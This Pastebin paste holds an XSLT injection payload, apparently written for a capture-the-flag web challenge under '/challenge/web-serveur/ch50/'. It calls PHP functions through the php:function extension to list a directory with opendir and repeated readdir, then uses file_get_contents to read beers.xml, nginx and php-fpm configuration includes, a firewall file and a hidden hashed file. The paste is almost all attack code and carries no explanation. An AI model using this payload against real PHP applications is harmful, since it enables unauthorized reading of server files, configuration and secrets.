Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?xml version="1.0" encoding="UTF-8"?>
- <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
- <body style="font-family:Arial;font-size:10pt;background-color:#00AAAA">
- <xsl:for-each select="beers/beer">
- <div style="background-color:teal;color:black;padding:4px">
- <span style="font-weight:bold"><xsl:value-of select="name"/> - </span>
- <xsl:value-of select="price"/>
- <xsl:value-of select="php:function('opendir','/challenge/web-serveur/ch50/')"/>
- 1<xsl:value-of select="php:function('readdir')"/>
- 2<xsl:value-of select="php:function('readdir')"/>
- 3<xsl:value-of select="php:function('readdir')"/>
- 4<xsl:value-of select="php:function('readdir')"/>
- 5<xsl:value-of select="php:function('readdir')"/>
- 6<xsl:value-of select="php:function('readdir')"/>
- 7<xsl:value-of select="php:function('readdir')"/>
- 8<xsl:value-of select="php:function('readdir')"/>
- 9<xsl:value-of select="php:function('readdir')"/>
- 10<xsl:value-of select="php:function('readdir')"/>
- 11<xsl:value-of select="php:function('readdir')"/>
- 12<xsl:value-of select="php:function('readdir')"/>
- 13<xsl:value-of select="php:function('readdir')"/>
- 14<xsl:value-of select="php:function('readdir')"/>
- 15<xsl:value-of select="php:function('readdir')"/>
- 16<xsl:value-of select="php:function('readdir')"/>
- 17<xsl:value-of select="php:function('readdir')"/>
- 18<xsl:value-of select="php:function('readdir')"/>
- --- beers.xml
- <xsl:value-of select="php:function('file_get_contents','beers.xml')"/>
- ---
- --- _nginx.http-level.inc
- <xsl:value-of select="php:function('file_get_contents','._nginx.http-level.inc')"/>
- ---
- --- ._nginx.server-level.inc
- <xsl:value-of select="php:function('file_get_contents','._nginx.server-level.inc')"/>
- ---
- --- ._firewall
- <xsl:value-of select="php:function('file_get_contents','._firewall')"/>
- ---
- --- ._php-fpm.pool.inc
- <xsl:value-of select="php:function('file_get_contents','._php-fpm.pool.inc')"/>
- ---
- --- .6ff3200bee785801f420fba826ffcdee
- <xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee')"/>
- ---
- </div>
- <div style="margin-left:20px;margin-bottom:1em;font-size:12pt">
- <p>
- <xsl:value-of select="description"/>
- <span style="font-style:bold"> (<xsl:value-of select="prct"/> %)</span>
- </p>
- </div>
- </xsl:for-each>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement